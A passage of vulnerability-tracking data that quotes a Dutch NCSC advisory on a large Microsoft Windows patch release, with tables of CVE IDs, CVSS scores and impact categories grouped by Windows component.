\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:21.012075Z"}, {"uuid": "a7e4ea2a-f01a-4e4e-b98a-9073c0a46c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | 